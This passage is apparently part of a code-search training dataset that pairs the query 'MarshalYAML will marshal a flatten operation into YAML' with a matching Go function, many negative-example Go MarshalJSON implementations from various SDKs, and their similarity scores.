json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (m MultiConfigInput) MarshalJSON() ([]byte, error) {\\n\\t_parts := make([][]byte, 0, 1)\\n\\n\\taO0, err := swag.WriteJSON(m.ParallelExecutionInputBase)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO0)\\n\\n\\t// now for regular properties\\n\\tvar propsMultiConfigInput struct {\\n\\t\\tMultipliers string `json:\\\"multipliers,omitempty\\\"`\\n\\t}\\n\\tpropsMultiConfigInput.Multipliers = m.Multipliers\\n\\n\\tjsonDataPropsMultiConfigInput, errMultiConfigInput := swag.WriteJSON(propsMultiConfigInput)\\n\\tif errMultiConfigInput != nil {\\n\\t\\treturn nil, errMultiConfigInput\\n\\t}\\n\\t_parts = append(_parts, jsonDataPropsMultiConfigInput)\\n\\treturn swag.ConcatJSON(_parts...), nil\\n}\",\n \"func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tdpbo.Kind = KindDelete\\n\\tobjectMap := make(map[string]interface{})\\n\\tif dpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = dpbo.PropertyName\\n\\t}\\n\\tif dpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = dpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (p *Package) MarshalJSON() ([]byte, error) {\\n\\tflat := &flatPackage{\\n\\t\\tID: p.ID,\\n\\t\\tName: p.Name,\\n\\t\\tPkgPath: p.PkgPath,\\n\\t\\tErrors: p.Errors,\\n\\t\\tGoFiles: p.GoFiles,\\n\\t\\tCompiledGoFiles: p.CompiledGoFiles,\\n\\t\\tOtherFiles: p.OtherFiles,\\n\\t\\tEmbedFiles: p.EmbedFiles,\\n\\t\\tEmbedPatterns: p.EmbedPatterns,\\n\\t\\tIgnoredFiles: p.IgnoredFiles,\\n\\t\\tExportFile: p.ExportFile,\\n\\t}\\n\\tif len(p.Imports) > 0 {\\n\\t\\tflat.Imports = make(map[string]string, len(p.Imports))\\n\\t\\tfor path, ipkg := range p.Imports {\\n\\t\\t\\tflat.Imports[path] = ipkg.ID\\n\\t\\t}\\n\\t}\\n\\treturn json.Marshal(flat)\\n}\",\n \"func (t TransformCollection) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"@odata.nextLink\\\", t.ODataNextLink)\\n\\tpopulate(objectMap, \\\"value\\\", t.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v Join) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson42239ddeEncodeGithubComKhliengDispatchServer21(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (s SelectOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(s.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(s.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range s.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tColumns []ID `json:\\\"columns,omitempty\\\"`\\n\\t}{\\n\\t\\tOp: s.Op(),\\n\\t\\tTable: s.Table,\\n\\t\\tWhere: s.Where,\\n\\t\\tColumns: s.Columns,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (m Pipeline) MarshalJSON() ([]byte, error) {\\n\\t_parts := make([][]byte, 0, 2)\\n\\n\\taO0, err := swag.WriteJSON(m.Resource)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO0)\\n\\n\\tvar dataAO1 struct {\\n\\t\\tCredentialID string `json:\\\"credentialId,omitempty\\\"`\\n\\n\\t\\tPath string `json:\\\"path,omitempty\\\"`\\n\\n\\t\\tProvider string `json:\\\"provider,omitempty\\\"`\\n\\n\\t\\tProviderID string `json:\\\"providerId,omitempty\\\"`\\n\\n\\t\\tSourceRepository *SourceRepository `json:\\\"sourceRepository,omitempty\\\"`\\n\\n\\t\\tTemplate interface{} `json:\\\"template,omitempty\\\"`\\n\\t}\\n\\n\\tdataAO1.CredentialID = m.CredentialID\\n\\n\\tdataAO1.Path = m.Path\\n\\n\\tdataAO1.Provider = m.Provider\\n\\n\\tdataAO1.ProviderID = m.ProviderID\\n\\n\\tdataAO1.SourceRepository = m.SourceRepository\\n\\n\\tdataAO1.Template = m.Template\\n\\n\\tjsonDataAO1, errAO1 := swag.WriteJSON(dataAO1)\\n\\tif errAO1 != nil {\\n\\t\\treturn nil, errAO1\\n\\t}\\n\\t_parts = append(_parts, jsonDataAO1)\\n\\n\\treturn swag.ConcatJSON(_parts...), nil\\n}\",\n \"func (o OperationsDefinitionArrayResponseWithContinuation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (v ProductShrinkedArr) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonD2b7633eEncodeBackendInternalModels2(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (a *PipelineAggregation) MarshalJSON() ([]byte, error) {\\n\\troot := map[string]interface{}{\\n\\t\\t\\\"buckets_path\\\": a.BucketPath,\\n\\t}\\n\\n\\tfor k, v := range a.Settings {\\n\\t\\tif k != \\\"\\\" && v != nil {\\n\\t\\t\\troot[k] = v\\n\\t\\t}\\n\\t}\\n\\n\\treturn json.Marshal(root)\\n}\",\n \"func (s *Operation) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(*s)\\n}\",\n \"func (ctsssto ConnectToSourceSQLServerTaskOutput) MarshalJSON() ([]byte, error) {\\n\\tctsssto.ResultType = ResultTypeBasicConnectToSourceSQLServerTaskOutputResultTypeConnectToSourceSQLServerTaskOutput\\n\\tobjectMap := make(map[string]interface{})\\n\\tif ctsssto.ID != nil {\\n\\t\\tobjectMap[\\\"id\\\"] = ctsssto.ID\\n\\t}\\n\\tif ctsssto.ResultType != \\\"\\\" {\\n\\t\\tobjectMap[\\\"resultType\\\"] = ctsssto.ResultType\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (pbi PropertyBatchInfo) MarshalJSON() ([]byte, error) {\\n\\tpbi.Kind = KindPropertyBatchInfo\\n\\tobjectMap := make(map[string]interface{})\\n\\tif pbi.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = pbi.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (b *SampleFJSONBuilder) Marshal(orig *SampleF) ([]byte, error) {\\n\\tret, err := b.Convert(orig)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn json.Marshal(ret)\\n}\",\n \"func (v nestedQuery) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson390b7126EncodeGithubComChancedPicker17(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (msssmto MigrateSQLServerSQLMITaskOutput) MarshalJSON() ([]byte, error) {\\n\\tmsssmto.ResultType = ResultTypeBasicMigrateSQLServerSQLMITaskOutputResultTypeMigrateSQLServerSQLMITaskOutput\\n\\tobjectMap := make(map[string]interface{})\\n\\tif msssmto.ID != nil {\\n\\t\\tobjectMap[\\\"id\\\"] = msssmto.ID\\n\\t}\\n\\tif msssmto.ResultType != \\\"\\\" {\\n\\t\\tobjectMap[\\\"resultType\\\"] = msssmto.ResultType\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (olr OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulateAny(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationInputs) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"type\\\", o.Type)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v ProductShrinked) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonD2b7633eEncodeBackendInternalModels3(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (m SnoozeLogEntryAllOf2) MarshalJSON() ([]byte, error) {\\n\\tvar b1, b2, b3 []byte\\n\\tvar err error\\n\\tb1, err = json.Marshal(struct {\\n\\t}{},\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb2, err = json.Marshal(struct {\\n\\t\\tChangedActions []IncidentAction `json:\\\"changed_actions,omitempty\\\"`\\n\\t}{\\n\\n\\t\\tChangedActions: m.changedActionsField,\\n\\t},\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn swag.ConcatJSON(b1, b2, b3), nil\\n}\",\n \"func (as AppSet) MarshalJSON() ([]byte, error) {\\n\\tvar (\\n\\t\\tapp []byte\\n\\t\\tappJSON map[string]map[string]interface{}\\n\\t\\tcontainer []byte\\n\\t\\tcontainerJSON map[string]map[string]interface{}\\n\\t\\tmarshaled []byte\\n\\t\\terr error\\n\\t)\\n\\n\\tif app, err = jsonapi.Marshal(as.App); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif err = json.Unmarshal(app, &appJSON); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif container, err = jsonapi.Marshal(as.Container); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif err = json.Unmarshal(container, &containerJSON); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tdata := map[string][]map[string]interface{}{\\n\\t\\t\\\"data\\\": []map[string]interface{}{\\n\\t\\t\\tappJSON[\\\"data\\\"],\\n\\t\\t\\tcontainerJSON[\\\"data\\\"],\\n\\t\\t},\\n\\t}\\n\\n\\tif marshaled, err = json.Marshal(data); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn marshaled, nil\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", p.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", p.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v ProductToAdd) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonD2b7633eEncodeBackendInternalModels1(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\\n\\treturn jsonEncoding.Marshal(target)\\n}\",\n \"func (o OperationInputs) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (a ApplyArtifactsRequest) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"artifacts\\\", a.Artifacts)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (u *TDigestMethodType) MarshalJSON() ([]byte, error) {\\n\\t// Declare temporary struct without functions to avoid recursive function call\\n\\ttype Alias TDigestMethodType\\n\\n\\t// Encode innerXML to base64\\n\\tu.XsdGoPkgCDATA = base64.StdEncoding.EncodeToString([]byte(u.XsdGoPkgCDATA))\\n\\n\\treturn json.Marshal(&struct{\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(u),\\n\\t})\\n}\",\n \"func (t OperationResult) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(t.String())\\n}\",\n \"func Marshal(v interface{}) ([]byte, error) {\\n\\trv := reflect.ValueOf(v)\\n\\tif rv.Kind() != reflect.Slice {\\n\\t\\treturn nil, &InvalidMarshalError{rv.Kind()}\\n\\t}\\n\\n\\tvar buf bytes.Buffer\\n\\tencoder := json.NewEncoder(&buf)\\n\\tfor i := 0; i < rv.Len(); i++ {\\n\\t\\tif err := encoder.Encode(rv.Index(i).Interface()); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (a *Agg) MarshalJSON() ([]byte, error) {\\n\\troot := map[string]interface{}{\\n\\t\\ta.Key: a.Aggregation,\\n\\t}\\n\\n\\treturn json.Marshal(root)\\n}\",\n \"func (cttsdto ConnectToTargetSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cttsdto.ID != nil {\\n\\t\\tobjectMap[\\\"id\\\"] = cttsdto.ID\\n\\t}\\n\\tif cttsdto.Databases != nil {\\n\\t\\tobjectMap[\\\"databases\\\"] = cttsdto.Databases\\n\\t}\\n\\tif cttsdto.TargetServerVersion != nil {\\n\\t\\tobjectMap[\\\"targetServerVersion\\\"] = cttsdto.TargetServerVersion\\n\\t}\\n\\tif cttsdto.TargetServerBrandVersion != nil {\\n\\t\\tobjectMap[\\\"targetServerBrandVersion\\\"] = cttsdto.TargetServerBrandVersion\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (this *SimpleWithMap_Nested) MarshalJSON() ([]byte, error) {\\n\\tstr, err := TypesMarshaler.MarshalToString(this)\\n\\treturn []byte(str), err\\n}\",\n \"func (a AppListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", a.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", a.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (r *App) MarshalJSON() ([]byte, error) {\\n\\tout := make(CatsJSON)\\n\\tfor i, x := range r.Cats {\\n\\t\\tout[i] = make(CatJSON)\\n\\t\\tfor j, y := range x {\\n\\t\\t\\tmin, _ := y.Min.Get().(int)\\n\\t\\t\\tmax, _ := y.Max.Get().(int)\\n\\t\\t\\tout[i][j] = Line{\\n\\t\\t\\t\\tValue: y.Value.Get(),\\n\\t\\t\\t\\tDefault: y.Default.Get(),\\n\\t\\t\\t\\tMin: min,\\n\\t\\t\\t\\tMax: max,\\n\\t\\t\\t\\tUsage: y.Usage,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn json.Marshal(out)\\n}\",\n \"func (a AppPatch) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"identity\\\", a.Identity)\\n\\tpopulate(objectMap, \\\"properties\\\", a.Properties)\\n\\tpopulate(objectMap, \\\"sku\\\", a.SKU)\\n\\tpopulate(objectMap, \\\"tags\\\", a.Tags)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (m OperationResult) MarshalJSON() ([]byte, error) {\\n\\tvar b1, b2 []byte\\n\\tvar err error\\n\\tb1, err = json.Marshal(struct {\\n\\t\\tCreatedDateTime strfmt.DateTime `json:\\\"createdDateTime,omitempty\\\"`\\n\\n\\t\\tLastActionDateTime strfmt.DateTime `json:\\\"lastActionDateTime,omitempty\\\"`\\n\\n\\t\\tMessage string `json:\\\"message,omitempty\\\"`\\n\\n\\t\\tOperationType string `json:\\\"operationType,omitempty\\\"`\\n\\n\\t\\tStatus string `json:\\\"status,omitempty\\\"`\\n\\t}{\\n\\t\\tCreatedDateTime: m.CreatedDateTime,\\n\\t\\tLastActionDateTime: m.LastActionDateTime,\\n\\t\\tMessage: m.Message,\\n\\t\\tOperationType: m.OperationType,\\n\\t\\tStatus: m.Status,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb2, err = json.Marshal(struct {\\n\\t\\tOperationProcessingResult OperationProcessingResult `json:\\\"operationProcessingResult,omitempty\\\"`\\n\\t}{\\n\\t\\tOperationProcessingResult: m.OperationProcessingResult,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn swag.ConcatJSON(b1, b2), nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.62526375","0.61385477","0.6112125","0.60852975","0.60816634","0.6077656","0.6074227","0.606881","0.6043391","0.60334504","0.6021433","0.6011812","0.60034","0.5968368","0.59462696","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.5934126","0.59141755","0.58996385","0.5892201","0.58917105","0.5887236","0.5887044","0.5887044","0.5882719","0.5843409","0.5843409","0.5843409","0.5817209","0.58130383","0.58089584","0.5808526","0.5806164","0.5798538","0.5798109","0.5793987","0.5792859","0.5792302","0.57918906","0.57742906","0.57734096","0.57711416","0.5765946","0.576574","0.5761269","0.57573855","0.57522154","0.5746758","0.57448334","0.5739392","0.5735906","0.5735906","0.5735906","0.5735906","0.5735906","0.5735906","0.5733881","0.57222044","0.57123584","0.57118833","0.5708961","0.5707837","0.5704334","0.5699231","0.56966877","0.5696257","0.5696257","0.56939125","0.5690073","0.56887233","0.56887233","0.56887233","0.56887233","0.56887233","0.56887233","0.5682327","0.5678218","0.5669514","0.5667774","0.5661125","0.5660668","0.5659504","0.56594837","0.5653366","0.56523657","0.5652083","0.5646598"],"string":"[\n \"0.62526375\",\n \"0.61385477\",\n \"0.6112125\",\n \"0.60852975\",\n \"0.60816634\",\n \"0.6077656\",\n \"0.6074227\",\n \"0.606881\",\n \"0.6043391\",\n \"0.60334504\",\n \"0.6021433\",\n \"0.6011812\",\n \"0.60034\",\n \"0.5968368\",\n \"0.59462696\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.5934126\",\n \"0.59141755\",\n \"0.58996385\",\n \"0.5892201\",\n \"0.58917105\",\n \"0.5887236\",\n \"0.5887044\",\n \"0.5887044\",\n \"0.5882719\",\n \"0.5843409\",\n \"0.5843409\",\n \"0.5843409\",\n \"0.5817209\",\n \"0.58130383\",\n \"0.58089584\",\n \"0.5808526\",\n \"0.5806164\",\n \"0.5798538\",\n \"0.5798109\",\n \"0.5793987\",\n \"0.5792859\",\n \"0.5792302\",\n \"0.57918906\",\n \"0.57742906\",\n \"0.57734096\",\n \"0.57711416\",\n \"0.5765946\",\n \"0.576574\",\n \"0.5761269\",\n \"0.57573855\",\n \"0.57522154\",\n \"0.5746758\",\n \"0.57448334\",\n \"0.5739392\",\n \"0.5735906\",\n \"0.5735906\",\n \"0.5735906\",\n \"0.5735906\",\n \"0.5735906\",\n \"0.5735906\",\n \"0.5733881\",\n \"0.57222044\",\n \"0.57123584\",\n \"0.57118833\",\n \"0.5708961\",\n \"0.5707837\",\n \"0.5704334\",\n \"0.5699231\",\n \"0.56966877\",\n \"0.5696257\",\n \"0.5696257\",\n \"0.56939125\",\n \"0.5690073\",\n \"0.56887233\",\n \"0.56887233\",\n \"0.56887233\",\n \"0.56887233\",\n \"0.56887233\",\n \"0.56887233\",\n \"0.5682327\",\n \"0.5678218\",\n \"0.5669514\",\n \"0.5667774\",\n \"0.5661125\",\n \"0.5660668\",\n \"0.5659504\",\n \"0.56594837\",\n \"0.5653366\",\n \"0.56523657\",\n \"0.5652083\",\n \"0.5646598\"\n]"},"document_score":{"kind":"string","value":"0.6916513"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106189,"cells":{"query":{"kind":"string","value":"MarshalYAML will marshal a flatten operation into YAML"},"document":{"kind":"string","value":"func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list 